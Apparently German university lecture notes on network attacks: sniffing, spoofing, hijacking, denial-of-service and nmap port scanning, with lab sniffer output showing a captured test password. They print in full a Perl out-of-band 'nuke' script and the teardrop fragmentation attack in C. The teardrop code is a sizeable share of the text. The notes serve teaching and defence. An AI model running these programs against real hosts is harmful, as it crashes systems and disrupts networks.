Angriffe über das Netz

Typische Angriffe nach Statistiken des CERT

Jahr	Angriffe
1988	Passwörter bekannte Sicherheitslücken
1993	Protokollschwächen (rexd, tftpd) Analyse von Quelldateien ICMP-Angriffe AnonFTP-Mißbrauch
1994	Internet-Sniffer sendmail-Angriffe Trojaner für Systemprogramme groß angelegte Scans (z.B. Portnummern) NFS-Angriffe
1995	IP-Spoofing für r-Kommandos Angriffe auf WWW-Server (httpd)
1996	Denial-Of-Service-Angriffe (ECHO) Lücken in Java und in Webbrowsers DNS-Manipulationen Analyse von SUID-Programmen
danach	TCP-Hijacking Denial-Of-Service als Waffe Internet-Commerce-Angriffe

Überblick über die Schichten der TCP/IP-Netzwerkprotokolle:

Diese Schichten entsprechen in etwa dem OSI-Schichtenmodell, wobei hier allerdings immer mehrere Schichten des OSI-Modells zu einer Schicht zusammengefaßt wurden. Im Folgenden sollen nun die Sicherheitslücken in den einzelnen Schichten des Protokolls genauer betrachtet und die darauf basierenden Angriffsstrategien untersucht werden.

Security im Data Link und Network Layer

Sniffing

• Abhören des Netzwerkverkehrs.
• Einsatz des "Promiscous-Mode" der Netzwerkkarten um alle Pakete zu empfangen.
• Meist Filterung bestimmter Adressen und Ports möglich.
• Speicherung der abgehörten Daten auf Platte oder Weiterverarbeitung mit externen Filtern und Programmen möglich.

• Abhören aller unchiffrierten Verbindungen.
• Ausspähen von Passwörtern.
• Mitlesen der Post an einen bestimmten Rechner

Abhören von Passwörtern
Im Beispiel loggt sich ein Benutzer mit dem Namen testuser und dem Paßwort geheim ein.

                                       $ ./sniffit -p 23 -A . -t lx1-lbs 
                                       
                                       ........... ..!.."..'.....#..%....P......$.. .9600,9600....#.lx2-lbs:0.0....'..
                                       PRINTER.lp.DISPLAY.lx2-lbs:0.0......XTERM........testuser..geheim..
                                       

                                       SSH-1.5-1.2.26.....................K2...i....i#..B......;....?.H..v.{v5K.^....{
                                       .t5.4.I..]....6VH..uN.p..E.u.....j.U&.\..N~...%kI.,....q..s..V.....(m...2.u...!
                                       rL/......R.d......'.....1"#.$[. ..6.W.........g.v.j..e%.1..2..v.....#.....*..r.
                                       ......0xM....1..q..O.....pS@.._=.......$...ZJ...N&x..[..........L.........k...v
                                       4.......v...}...fXI...Np7.....=$...%.s...iW".....$ID..g..i.
                                       

Mitlesen der Mail
Im folgenden Beispiel wird der komplette Mailverkehr eines Rechners (Port 25) namens lx1-lbs abgehört. Das ist von jedem beliebigen Rechner möglich, an dem der Datenstrom vorbeiläuft.

                                       $ ./sniffit -p25 -t lx1-lbs
                                       
                                       EHLO lx2-lbs.e-technik.fh-muenchen.de
                                       MAIL From:<holzmann@lx3-lbs.e-technik.fh-muenchen.de> SIZE=299
                                       RCPT To:<testuser@lx1-lbs.e-technik.fh-muenchen.de>
                                       DATA
                                       Received: from localhost (localhost [[UNIX: localhost]])
                                       	by lx2-lbs.e-technik.fh-muenchen.de (8.9.3/8.9.3) id OAA01804
                                       	for testuser@lx1-lbs.e-technik.fh-muenchen.de; Fri, 8 Oct 1999 14:11:12 +0200
                                       From: Joerg Holzmann <holzmann@e-technik.fh-muenchen.de>
                                       To: testuser@lx1-lbs.e-technik.fh-muenchen.de
                                       Subject: Testmail
                                       Date: Fri, 8 Oct 1999 14:07:04 +0200
                                       X-Mailer: KMail [version 1.0.21]
                                       Content-Type: text/plain
                                       MIME-Version: 1.0
                                       Message-Id: <99100814111100.01802@lx2-lbs>
                                       Content-Transfer-Encoding: 8bit
                                       
                                       Hallo lieber Testuser,
                                       
                                       Vielen Dank fuer Ihren Beitrag zu unserem Sicherheitsforum. 
                                       Wir werden Ihren Artikel in der neuen Ausgabe der FHM-Hackerpost
                                       veroeffentlichen.
                                       

ARP-Spoofing

Security im Transport- und Network-Layer

ICMP-Tunneling

ICMP-Steuernachrichten lassen sich auch noch für andere Angriffe nutzen:

• Funktionsfähigkeit des Netzwerks beeinträchtigen ("ping of death")
• Vermittlungspfade verändern
• "fragmentation needed": Aufforderung, Daten stärker zu fragmentieren, dadurch entstehen kleinere und vor allem mehr Pakete. Die Netzlast nimmt z.T. erheblich zu, und es kann zu Überlast kommen
• "ICMP-redirect": Änderung von Vermittlungswegen von Rechnern im Netz, was zu Zusammenbrüchen im Netz führen kann

IP-Spoofing

In einem LAN kommuniziert Arbeitsplatz A mit Arbeitsplatz B. Ein Angreifer (E) verwendet die Adresse von A und schleust Pakete ins LAN. Damit übernimmt er die Kommunikation E zu B. Das Problem sind die fehlende Authentizität von IP-Paketen und die Einschleusung zusätzlicher Pakete von außen durch die Fälschung von IP-Sendeadressen.

Route-Spoofing

• RIP-Route-Spoofing
  Das Routing Information Protocol (RIP) wird verwendet, um (dynamische) Routing-Informationen in lokalen Netzwerken zu verbreiten. Es bietet damit aber einem Angreifer die Möglichkeit falsche Routing-Information an einen Rechner (und alle Gateways auf der Route dorthin) zu versenden. Diese Informationen werden in der Regel ungeprüft übernommen. Damit ist es dem Angreifer möglich, einem Rechner falsche Routing-Informationen zu übergeben und so die Verbindungen auf den Rechner des Angreifers umzuleiten.
• ICMP-Route-Spoofing
  Bei dieser Art des Angriffs wird ausgenutzt, über die Meldung ICMP redirect Routing-Informationen an den Absender eines IP-Pakets zu übermitteln. Ein Angreifer kann dies nutzen, das Routing auf seinem eigenen Rechner umzuleiten. Verwendet ein Rechner eine solche Nachricht als neue Routing-Information, so führt dies dazu, daß seine Informationen über den Rechner des Angreifers geroutet werden.

DNS Spoofing

Die falsche Nachricht, daß www.microsoft.com die Adresse 129.187.244.3 hat, wird vom Opfer-DNS ohne jegliche Prüfung übernommen. Es bieten sich weitere Möglichkeiten an:

• Übernahme des DNS-Servers
  Eine Möglichkeit hierbei ist es, die Position eines existierenden Nameservers komplett zu übernehmen. Dabei finden in der Regel "Denial Of Service"-Angriffe Anwendung, um den richtigen Nameserver lahmzulegen. Der Angreifer übernimmt dann die Funktion dieses Rechners und liefert falsche Informationen.
• Resolve Attacks
  In einigen Implementierungen ist es möglich, wenn ein Benutzer eine Verbindung zu einem System aufbaut, eine Domain Server Response an den entsprechenden Rechner zu senden. Dieser trägt sie in seine eigene Queue ein und benutzt so im folgenden die falsche IP-Adresse für seine Verbindung. Für diese Art des Angriffs sind allerdings Kenntnisse über den Port, den der Client für seinen Resolver Service benutzt, und die DNS-Sequenznummer (ISN) nötig. Diese sind aber oft leicht zu erhalten, z. B. über netstat.

Hijacking

TCP-Hijacking

Bei der Kommunikation vom Arbeitsplatz (A) mit dem Server (S) hört der Angreifer (E) mit, schaltet sich mit der Adresse von A ein und übernimmt die Sitzung von A. Das Problem ist die fehlende Authentizität und Integrität der IP-Pakete.
Beispiel: TELNET-Sitzung

Denial of Service-Attacks

• E-Mail-Bomben
  

  Einer der ältesten Denial of Service-Attacks ist das inzwischen "klassische" Mail-Bombing. Hierzu wird ein Empfänger mit einer Vielzahl von gleichlautenden E-Mails regelrecht bombadiert, so daß das nächste Herunterladen der vorhandenen E-Mails zur Qual werden dürfte. Die Ausführung erzeugt aber noch ein anderes Opfer:
  Eine Mailbombe besteht normalerweise aus einer einzigen E-Mail, die an einen SMTP-Mailserver zur Ausführung geschickt wird. Diese E-Mail hat jedoch die Besonderheit, daß sie die E-Mail-Adresse des Opfers gleich mehrmals als BCC-Empfänger enthält. Der ausführende Mailserver hat bei entsprechend hoher Angabe von BCC-Empfängern ebenfalls entsprechend genug zu tun, diese E-Mails zu generieren und zu versenden.
  Eine sehr unangenehme Variante des Mail-Bombings ist die Anmeldung eines Opfers bei Unmengen von Mailinglisten. Das Opfer muß sich nämlich nach so einer Attacke mühsam aus allen angemeldeten Listen manuell wieder austragen.

• Broadcast Storms
  Broadcast Storms gehören ebenfalls schon zur älteren Generation von Denial of Service-Attacks. An jeden Rechner wird hier ein Strom von IP-Paketen geschickt, die allesamt an nichtexistierende Ziele adressiert sind. Wird dieser Datenstrom für mehrere Rechner innerhalb dieses Netzwerkes aufrechterhalten, ist das gesamte Netzwerk recht bald lahmgelegt, da die Rechner die falsch adressierten Daten über die Gateways immer wieder in andere Subnetze verschieben.

• Smurf-Attacken
  Smurf-Attacken gehören zur Gruppe der Broadcast Storms, arbeiten aber auf eine etwas andere Weise. Bei einem Smurf-Angriff sendet der Angreifer extrem viele ICMP-Pakete (z.B. Ping-Anfragen) an die Broadcast-Adresse eines Netzwerks, so daß dieses Paket an jeden Rechner innerhalb des Netzwerks weitergeleitet wird. Der Angreifer tarnt sich jedoch mit der Adresse des eigentlichen Opfers. Die ICMP-Anfragen werden nun um die Anzahl der Rechner im Netzwerk vervielfacht, denn jeder beantwortet die ICMP-Anfrage. Die multiplizierten ICMP-Antworten an das Opfer belegen die gesamte Netzkapazität und normale Datenkommunikation wird unterbunden. Sehr häufig brechen auch die Server unter diesem Ansturm zusammen und müssen von ihren Administratoren vorübergehend vom Netz genommen werden. Die Angreifer selbst sind nur sehr schwer zu identifizieren, da sie sich als das Opfer tarnen.

• Out of Band-Packets ("Nukes")
  Nahezu schon legendäre Denial of Service-Attacks sind die sogenannten "Nukes". Hierzu werden spezielle IP-Pakete, die ein besonderes Merkmal haben, an einen Rechner geschickt. Entsprechend ungesicherte Betriebssysteme (ungepatchte Versionen von Windows und Linux) quittieren den Empfang solcher Pakete mit dem völligen Systemstillstand. Inzwischen existieren für (fast) alle betroffenen Betriebssysteme geeignete Patches, die diesen Fehler eliminieren. Wie einfach das "nuken" war, zeigt folgendes Perl-Programm:

                                         #!/usr/bin/perl -w
                                         use strict;
                                         use Socket;
                                         use Net::Ping;
                                         require 5.004;
                                         
                                         my $host = shift;
                                         my $paddr = sockaddr_in(139, inet_aton($host));
                                         print "Der Computer $host wird heruntergefahren...\n";
                                         socket(NUKE, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or
                                         print "Klappt nicht: $!\n", return;
                                         connect(NUKE, $paddr) or print "Klappt nicht: $!\n";
                                         send(NUKE, "Heil Eris! Ewig Heil Discordia!", MSG_OOB );
                                         close(NUKE);
                                         if ($>)
                                           {
                                           print <<"MSG_END";
                                         
                                           OOB-Angriff erfolgreich. Da das Programm nicht mir root-Rechten
                                           laeuft, bitte mit ping(8) testen, ob $host noch läuft.
                                           MSG_END
                                           }
                                         else
                                           {
                                           sleep 3;
                                           my $ping = new Net::Ping('icmp');
                                           if ($ping->ping($host))
                                             {
                                             warn "Hmm... $host scheint noch zu laufen.\n";
                                             }
                                           else
                                             {
                                             print "Ich konnte den Computer jetzt ausschalten.\n"
                                             }
                                           }
                                         

  Out of Band-Packets bestehen aus einem speziellen UDP-Paket, daß gewöhnlich an den Port 139 (NetBIOS-Port) gesendet wird, da dieser standardmässig bei vielen Computern geöffnet ist. Prinzipiell funktioniert es aber auch mit allen anderen Ports, die für Datenempfang standardmässig geöffnet sind. Die Wirkungsweise liegt nun darin, daß ein entsprechend ungesichertes Betriebssystem mit Out of Band-Informationen nichts anfangen kann und in einer "panikartigen" Reaktion im ungünstigsten Fall die aktuelle Sitzung mit einem Systemabsturz beendet.

• TCP Syn Flooding ("Land Attacks")
  Hier wird das Drei-Wege-Handshaking von TCP benutzt, um "halboffene Verbindungen" herzustellen. Da TCP ein verbindungsorientiertes Übertragungsprotokoll ist, gibt es Mechanismen, um eine Verbindung zu synchronisieren. Dies wird über das erwähnte Drei-Wege-Handshaking von TCP erledigt.

  

  Dabei gibt es, wie der Name schon ahnen läßt, drei Schritte, die durchgeführt werden:

  1. Der Client sendet eine Synchronisationsnachricht (SYN) an den Server
  2. Der Server antwortet mit einem entsprechenden Acknoledgement (ACK/SYN)
  3. Darauf sendet der Client sein Acknoledgement (ACK) an den Server

  Mit diesen drei Schritten ist das Handshaking abgeschlossen. Nach Schritt 2 befindet sich auf dem Server ein Eintrag für die Verbindung, der bestehen bleiben muß, bis der Client seine Antwort gesendet hat. Eine Verbindung in diesem Stadium nennt man halboffen. Ein SYN-Attack nutzt nun die Tatsache aus, daß der Server dafür Speicher reservieren muß, bis er eine Antwort erhält. Wird diese Antwort allerdings nie gesendet, dann bleibt der Speicher dauerhaft belegt. Erzeugt ein Angreifer eine größere Menge dieser halboffenen Verbindungen, so ist abzusehen, daß der Server bald an seinem Speicherlimit angekommen ist. An dieser Stelle ist es dem Server nun nicht mehr möglich eine weitere TCP-Verbindung aufzubauen.
  Das interessante an der "Land"-Attacke war, daß auch Cisco-Router, die an sehr vielen zentralen Stellen des Netzes stehen, davon betroffen waren.

• Large Packet-Attacks ("Ping of Death")
  Ein weiterer, besonders hinterhältiger Veteran der Denial of Service-Attacks sind die "Large Packet-Attacks", unter Insidern "Ping of Death" genannt (obwohl die Attacke nichts mit dem eigentlichen Ping-Programm zu tun hat). Die Wirkungsweise von Large Packet-Attacks ist einfach und fatal: Das IP-Protokoll verpackt alle Daten beim Absender in bis zu 64 KByte grosse Pakete. Diese werden jedoch protokollintern vor der Übertragung abhängig vom Übertragungsmedium in kleinere Päckchen zerlegt (Fragmentierung). Beim Empfängerrechner werden diese einzelnen Päckchen wieder zusammengefügt (reassemblieren), allerdings erst, wenn alle Einzelteile vorliegen. Ist das ankommende Paket am Ende grösser als 64 kB, läuft ein interner Speicherpuffer über und bringt im ungünstigsten Fall den Rechner zum Absturz. Natürlich kann man diesen Angriff nicht nur mit ICMP und Ping machen, sondern auch mit TCP und UDP. Der Phantasie sind keine Grenzen gesetzt.
  Wie erzeugt man nun diese übergroßen Ping-Pakete? Ein ordentlicher Ping Befehl sollte keine Pakete größer als 65507 Bytes zulassen. (65535 - 20 IP-Header - 8 ICMP-Header). Wo fand man am ehesten einen unordentlichen Ping-Befehl? Richtig, in den Betriebsystemen der Firma Microsoft (Windows 95/98).

• Teardrop
  Teardrop ist dem Ping of Death nicht unähnlich, da es sich auch die Fragmentierung von IP-Paketen zu nutze machte. Diesmal wird allerdings nicht mittels Fragmentierung ein zu großes Paket erzeugt, sondern die Fragmente werden so erzeugt, daß sie "überlappen", was die TCP-Software aus dem Tritt bringt. Nachdem heute kaum noch ein Rechner auf Teardrop reagiert, kann auch ruhig mal das Programmlisting gezeigt werden:

                                         #include <stdio.h>
                                         #include <stdlib.h>
                                         #include <unistd.h>
                                         #include <string.h>
                                         #include <netdb.h>
                                         #include <netinet/in.h>
                                         #include <netinet/udp.h>
                                         #include <arpa/inet.h>
                                         #include <sys/types.h>
                                         #include <sys/time.h>
                                         #include <sys/socket.h>
                                         
                                         #ifdef STRANGE_BSD_BYTE_ORDERING_THING
                                                /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
                                         #define FIX(n)  (n)
                                         #else  /* OpenBSD 2.1, all Linux */
                                         #define FIX(n)  htons(n)
                                         #endif /* STRANGE_BSD_BYTE_ORDERING_THING */
                                         
                                         #define IP_MF   0x2000  /* More IP fragment en route */
                                         #define IPH     0x14    /* IP header size */
                                         #define UDPH    0x8     /* UDP header size */
                                         #define PADDING 0x1c    /* datagram frame padding for first packet */
                                         #define MAGIC   0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
                                         #define COUNT   0x1     /* Linux dies with 1, NT is more stalwart and can
                                                                  * withstand maybe 5 or 10 sometimes...  Experiment.
                                                                  */
                                         void usage(u_char *);
                                         u_long name_resolve(u_char *);
                                         u_short in_cksum(u_short *, int);
                                         void send_frags(int, u_long, u_long, u_short, u_short);
                                         
                                         int main(int argc, char **argv)
                                         {
                                             int one = 1, count = 0, i, rip_sock;
                                             u_long  src_ip = 0, dst_ip = 0;
                                             u_short src_prt = 0, dst_prt = 0;
                                             struct in_addr addr;
                                         
                                             fprintf(stderr, "teardrop   route|daemon9\n\n");
                                         
                                             if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
                                             {
                                                 perror("raw socket");
                                                 exit(1);
                                             }
                                             if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
                                                 < 0)
                                             {
                                                 perror("IP_HDRINCL");
                                                 exit(1);
                                             }
                                             if (argc < 3) usage(argv[0]);
                                             if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
                                             {
                                                 fprintf(stderr, "What the hell kind of IP address is that?\n");
                                                 exit(1);
                                             }
                                         
                                             while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
                                             {
                                                 switch (i)
                                                 {
                                                     case 's':               /* source port (should be emphemeral) */
                                                         src_prt = (u_short)atoi(optarg);
                                                         break;
                                                     case 't':               /* dest port (DNS, anyone?) */
                                                         dst_prt = (u_short)atoi(optarg);
                                                         break;
                                                     case 'n':               /* number to send */
                                                         count   = atoi(optarg);
                                                         break;
                                                     default :
                                                         usage(argv[0]);
                                                         break;              /* NOTREACHED */
                                                 }
                                             }
                                             srandom((unsigned)(time((time_t)0)));
                                             if (!src_prt) src_prt = (random() % 0xffff);
                                             if (!dst_prt) dst_prt = (random() % 0xffff);
                                             if (!count)   count   = COUNT;
                                         
                                             fprintf(stderr, "Death on flaxen wings:\n");
                                             addr.s_addr = src_ip;
                                             fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
                                             addr.s_addr = dst_ip;
                                             fprintf(stderr, "  To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
                                             fprintf(stderr, " Amt: %5d\n", count);
                                             fprintf(stderr, "[ ");
                                         
                                             for (i = 0; i < count; i++)
                                             {
                                                 send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
                                                 fprintf(stderr, "b00m ");
                                                 usleep(500);
                                             }
                                             fprintf(stderr, "]\n");
                                             return (0);
                                         }
                                         
                                         /*
                                          *  Send two IP fragments with pathological offsets.  We use an 
                                          *  implementation independent way of assembling network packets 
                                          *  that does not rely on any of the diverse O/S specific 
                                          *  nomenclature hinderances (well, linux vs. BSD).
                                          */
                                         
                                         void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
                                                         u_short dst_prt)
                                         {
                                             u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */
                                             u_char byte;                            /* a byte */
                                             struct sockaddr_in sin;                 /* socket protocol structure */
                                         
                                             sin.sin_family      = AF_INET;
                                             sin.sin_port        = src_prt;
                                             sin.sin_addr.s_addr = dst_ip;
                                         
                                             /*
                                              * Grab some memory for our packet, align p_ptr to point at the beginning
                                              * of our packet, and then fill it with zeros.
                                              */
                                             packet = (u_char *)malloc(IPH + UDPH + PADDING);
                                             p_ptr  = packet;
                                             bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
                                         
                                             byte = 0x45;                        /* IP version and header length */
                                             memcpy(p_ptr, &byte, sizeof(u_char));
                                             p_ptr += 2;                         /* IP TOS (skipped) */
                                             *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);    /* total length */
                                             p_ptr += 2;
                                             *((u_short *)p_ptr) = htons(242);   /* IP id */
                                             p_ptr += 2;
                                             *((u_short *)p_ptr) |= FIX(IP_MF);  /* IP frag flags and offset */
                                             p_ptr += 2;
                                             *((u_short *)p_ptr) = 0x40;         /* IP TTL */
                                             byte = IPPROTO_UDP;
                                             memcpy(p_ptr + 1, &byte, sizeof(u_char));
                                             p_ptr += 4;                         /* IP checksum filled in by kernel */
                                             *((u_long *)p_ptr) = src_ip;        /* IP source address */
                                             p_ptr += 4;
                                             *((u_long *)p_ptr) = dst_ip;        /* IP destination address */
                                             p_ptr += 4;
                                             *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
                                             p_ptr += 2;
                                             *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
                                             p_ptr += 2;
                                             *((u_short *)p_ptr) = htons(8 + PADDING);   /* UDP total length */
                                         
                                             if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
                                                         sizeof(struct sockaddr)) == -1)
                                             {
                                                 perror("\nsendto");
                                                 free(packet);
                                                 exit(1);
                                             }
                                         
                                             /*  We set the fragment offset to be inside of the previous packet's
                                              *  payload (it overlaps inside the previous packet) but do not include
                                              *  enough payload to cover complete the datagram.  Just the header will
                                              *  do, but to crash NT/95 machines, a bit larger of packet seems to work
                                              *  better.
                                              */
                                             p_ptr = &packet[2];         /* IP total length is 2 bytes into the header */
                                             *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
                                             p_ptr += 4;                 /* IP offset is 6 bytes into the header */
                                             *((u_short *)p_ptr) = FIX(MAGIC);
                                         
                                             if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
                                                         sizeof(struct sockaddr)) == -1)
                                             {
                                                 perror("\nsendto");
                                                 free(packet);
                                                 exit(1);
                                             }
                                             free(packet);
                                         }
                                         
                                         u_long name_resolve(u_char *host_name)
                                         {
                                             struct in_addr addr;
                                             struct hostent *host_ent;
                                         
                                             if ((addr.s_addr = inet_addr(host_name)) == -1)
                                             {
                                                 if (!(host_ent = gethostbyname(host_name))) return (0);
                                                 bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
                                             }
                                             return (addr.s_addr);
                                         }
                                         
                                         void usage(u_char *name)
                                         {
                                             fprintf(stderr,
                                                     "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
                                                     name);
                                             exit(0);
                                         }
                                         

• Ping Flooding
  Das Ping Flooding gehört zu Denial of Service-Attacks, die keine Sicherheitslöcher ausnutzen. Pings werden benutzt, um die Erreichbarkeit von anderen Hosts im Netz zu prüfen. Beim Ping Flooding wird ein Host jedoch mit unzähligen Ping-Anfragen bombadiert, die der Host dann natürlich alle bearbeitet (falls keine entsprechenden Mechanismen die Abarbeitung von rasch wiederholenden Ping-Anfragen verhindert) und entsprechend das eigene System und die Netzverbindung auslastet. Ping Flooding ist einer der Denial of Service-Attacken, die richtig teuer werden können: Wird eine Netzverbindung eines Hostes nämlich nach dem erzeugten Datenaufkommen abgerechnet, können teilweise horrende Summen entstehen.

• Service-Overloading
  Einen ähnlichen Weg wie beim Message-Flooding gehen die Service-Overloading-Attacks. Allerdings werden hier gezielt Services angesprochen, die einen Großteil der Rechnerresourcen aufzehren können. Dabei ist hier nicht die Menge der Nachrichten ausschlaggebend, sondern es kann hier unter Umständen sogar eine einzige Nachricht genügen. Für einen solchen Angriff anfällig sind z. B. der finger-Dienst, der auf den meisten Rechnern zur Verfügung steht. Aber auch speziellere Dienste, wie etwa ein Datenbankserver, die nicht genügend gesichert sind, kommen als Angriffspunkte in Frage. Bei einem Datenbanksystem kann eine entsprechend formulierte Abfrage (etwa ein Join über mehrere Tabellen) die Systemresourcen bis an die Grenzen belasten.

• Angriff mit UDP: Packet Storm
  UDP (User Datagram Protocol) ist nicht verbindungsorientiert und hat keine Flusskontrolle, man kann daher ein Netz mit Paketen überfluten. Mit Hilfe eines gefülschten UDP-Paketes kann man beispielsweise den "chargen"-Dienst (Generieren eines Zeichenstroms für Testzwecke) eines Rechners mit dem "echo"-Dienst (Alle empfangenen Zeichen zurückschicken) eines anderen Rechners verbinden. Man schickt dazu ein UDP Paket, bei dem als Absender der Port des "chargen"-Dienstes eingetragen ist, an den "echo"-Dienst (Spoofing). Der "chargen"-Rechner sendet nun kontinuerlich Zeichen, die ebenso kontinuierlich vom "echo"-Dienst beantwortet werden. Dadurch entsteht ein unglaublich hoher Packetverkehr, der Server und Netzwerk außer Gefecht setzt.

• Distributed Denial-of-Service-Attacks (DDoS)
  Diese Art von Denial-of-Service-Attacken sind genau genommen keine eigenen Attackeverfahren, sondern beziehen sich auf den Angriffsweg. Im Gegensatz zu einer einfachen Denial-of-Service-Attacke werden Distributed Denial-of-Service-Attacken nicht nur über einen Angriffsrechner gefahren, sondern gleichzeitig im Verbund mit mehreren Rechnern. Zu diesem Zweck plaziert ein Angreifer ein sogenanntes Trojanisches Pferd auf verschiedenen Rechnern im Internet, vornehmlich auf Rechner, die per Standleitung und besonders breitbandig angebunden sind. Diese Plazierung kann auch schon Monate vor eigentlichen Angriffen erfolgen. Wird nun ein Angriff auf ein bestimmtes Opfer gestartet, erfolgen die Angriffe über die Rechner, auf denen das trojanische Pferd installiert ist, gleichzeitig und erzeugen in der Gesamtheit ein enormes Angriffsvolumen.

  Ein DDoS Angriff besteht aus zwei Phasen. In Phase 1 beschafft sich ein Angreifer mittels bekannter Schwachstellen Zugriff auf eine große Zahl von Systemen, die später den eigentlichen DDoS-Angriff ausführen sollen. Der Angreifer installiert dazu auf den "Angriffsrechnern" Programme, die zeitgesteuert oder auf Kommando den einen DoS-Angriff gegen das gewünschte Ziel führen.

  

  Beispiel: Tribe Flood Network:
  Das TFN bietet die Möglichkeit, SYN, UDP und ICMP Angriffe zu führen. Dazu stellt es eine Client-Server-Struktur bereit. Der Server wird auf einer Vielzahl von Systemen installiert und kann dann vom Client aktiviert werden, um einen Angriff zu starten. Da die Kommunikation mit dem Server nicht passwortgeschützt verläuft, kann jeder einem installierten Server einen Angriff befehlen. Dazu muß man lediglich wissen, auf welchen Rechnern der TFN-Server installiert ist. Dies lässt sich leicht mittels Port-Scan oder im Internet kursierenden Listen herausfinden. Die eigentliche Arbeit des Beschaffens von DDoS-Angriffsrechnern entfällt somit. Einen TFN-Angriff kann jeder führen, der im Besitz des Client ist.

  Die Bekämpfung von Distributed Denial-of-Service-Attacken ist extrem schwierig. Bei einem akuten Angriff kann der Administrator des angegriffenen Rechners lediglich die Datenflut von angreifenden Servern filtern, zum Beispiel über eine Firewall, um so wenigstens die Server zu schützen. Das Netz ist jedoch im Regelfalle trotzdem nicht erreichbar, da die Anbindung selbst überlastet wird. Das folgende Bild zeigt, wie ein DDoS-Angriff in der Verkehrsstatistik aussieht.

  

Hacker-Angriffe über Ports

• TCP Connect Scanning:
  Hierbei wird eine gewöhnliche TCP-Verbindung geöffnet. Dazu sind keine besonderen Vorkehrungen erforderlich. Die Systemfunktion liefert eine direkte Rückmeldung über Erfolg oder Fehlschlag des Versuchs. Das geht sogar von Hand. Einfach eine Telnet-Verbindung zum gewünschten Port aufmachen. Der TCP-Connect-Scan ist der einzige TCP-Scan, der keine root-Rechte benötigt. Zudem ist er sehr schnell. Er kann jedoch auch mit einfachen Methoden erkannt werden, da ein kompletter Verbindungsaufbau durchgef"uhrt wird und so die eigene IP-Adresse vom Gegenüber mitprotokolliert werden kann. Beispiel:

                                         nmap -P0 -sT -p 79, 80 localhost
                                         localhost -> localhost  TCP 3721 > finger [SYN] Seq=108672 Ack=0 Win=16384 Len=0 
                                         localhost -> localhost  TCP finger > 3721 [RST, ACK] Seq=0 Ack=108673 Win=0 Len=0 
                                         localhost -> localhost  TCP 3722 > http [SYN] Seq=231337 Ack=0 Win=16384 Len=0 
                                         localhost -> localhost  TCP http > 3722 [SYN, ACK] Seq=350423 Ack=231338 Win=57344 Len=0 
                                         localhost -> localhost  TCP 3722 > http [ACK] Seq=231338 Ack=350424 Win=57344 Len=0 
                                         localhost -> localhost  TCP 3722 > http [RST, ACK] Seq=231338 Ack=350424 Win=57344 Len=0
                                         

• TCP SYN Scanning:
  Beim sogenannten "half open scan" wird nur das allererste Paket, ein SYN-Paket, geschickt. Anhand der Antwort (SYN/ACK oder RST) läßt sich bereits erkennen, ob der Port aktiv ist. Aktive Ports werden sofort wieder geschlossen (RST senden), so daß die Gegenstelle kaum eine Gelegenheit hat, die eigene IP-Adresse festzustellen. Beispiel:

                                         nmap -P0 -sS -p 79, 80 localhost
                                         localhost -> localhost    TCP 50529 > finger [SYN] Seq=6275 Ack=0 Win=2048 Len=0 
                                         localhost -> localhost    TCP finger > 50529 [RST, ACK] Seq=0 Ack=06276 Win=0 Len=0 
                                         localhost -> localhost    TCP 50529 > http [SYN] Seq=6275 Ack=0 Win=2048 Len=0 
                                         localhost -> localhost    TCP http > 50529 [SYN, ACK] Seq=564532 Ack=6276 Win=49152 Len=0 
                                         localhost -> localhost    TCP 50529 > http [RST] Seq=6276 Ack=0 Win=0 Len=0
                                         

• TCP FIN Scanning:
  Hier wird ein FIN-Paket an das jeweilige Port geschickt. Das funktioniert teilweise sogar durch Firewalls hindurch. Bei den meisten Rechnern antworten inaktive Ports mit einem RST (Reset), während aktive Ports das FIN-Paket ignorieren. Windows hält sich allerdings nicht an diesen Standard, so daß hier FIN-Scans fehlschlagen. Beispiel:

                                         nmap -P0 -sF -p 79, 80 localhost
                                         localhost -> localhost    TCP 49452 > finger [FIN] Seq=0 Ack=0 Win=3072 Len=0
                                         localhost -> localhost    TCP finger > 49452 [RST, ACK] Seq=0 Ack=0 Win=0 Len=0
                                         localhost -> localhost    TCP 49452 > http [FIN] Seq=0 Ack=0 Win=3072 Len=0
                                         localhost -> localhost    TCP 49453 > http [FIN] Seq=0 Ack=0 Win=3072 Len=0
                                         

  Der XMAS-Scan ist eine Abwandlung des FIN-Scan. Zus"atzlich zum FIN sind die Flags PSH und URG gesetzt.

• Ident-Scanning:
  Der Ident-Dienst liefert eine zusätzliche Informationsebene über aktive Ports, nämlich den Benutzernamen. Dieser ist für manche Angriffe wichtig, da er verrät, welche Zugriffsrechte der Server-Dienst auf dem jeweiligen Port besitzt.

• FTP Bounce Port Scanning:
  Hier wird die eingebaute Proxy-Funktion von RFC-konformen FTP-Servern benutzt, um die eigene Identität zu verstecken.

• UDP Port Scanning:
  Dies ist schwieriger, da vom Protokoll her keine Antwort auf UDP-Pakete vorgesehen ist. Viele Rechner liefern aber eine Rückmeldung mittels ICMP: Die Antwort 'ICMP Port unreachable' deutet dann auf inaktive Ports hin. Beispiel:

                                         nmap -P0 -sU -p 513, 514 localhost
                                         localhost -> localhost    WHO Source port: 33108  Destination port: who
                                         localhost -> localhost    ICMP Destination unreachable
                                         localhost -> localhost    UDP Source port: 33600  Destination port: syslog
                                         localhost -> localhost    UDP Source port: 33601  Destination port: syslog
                                         

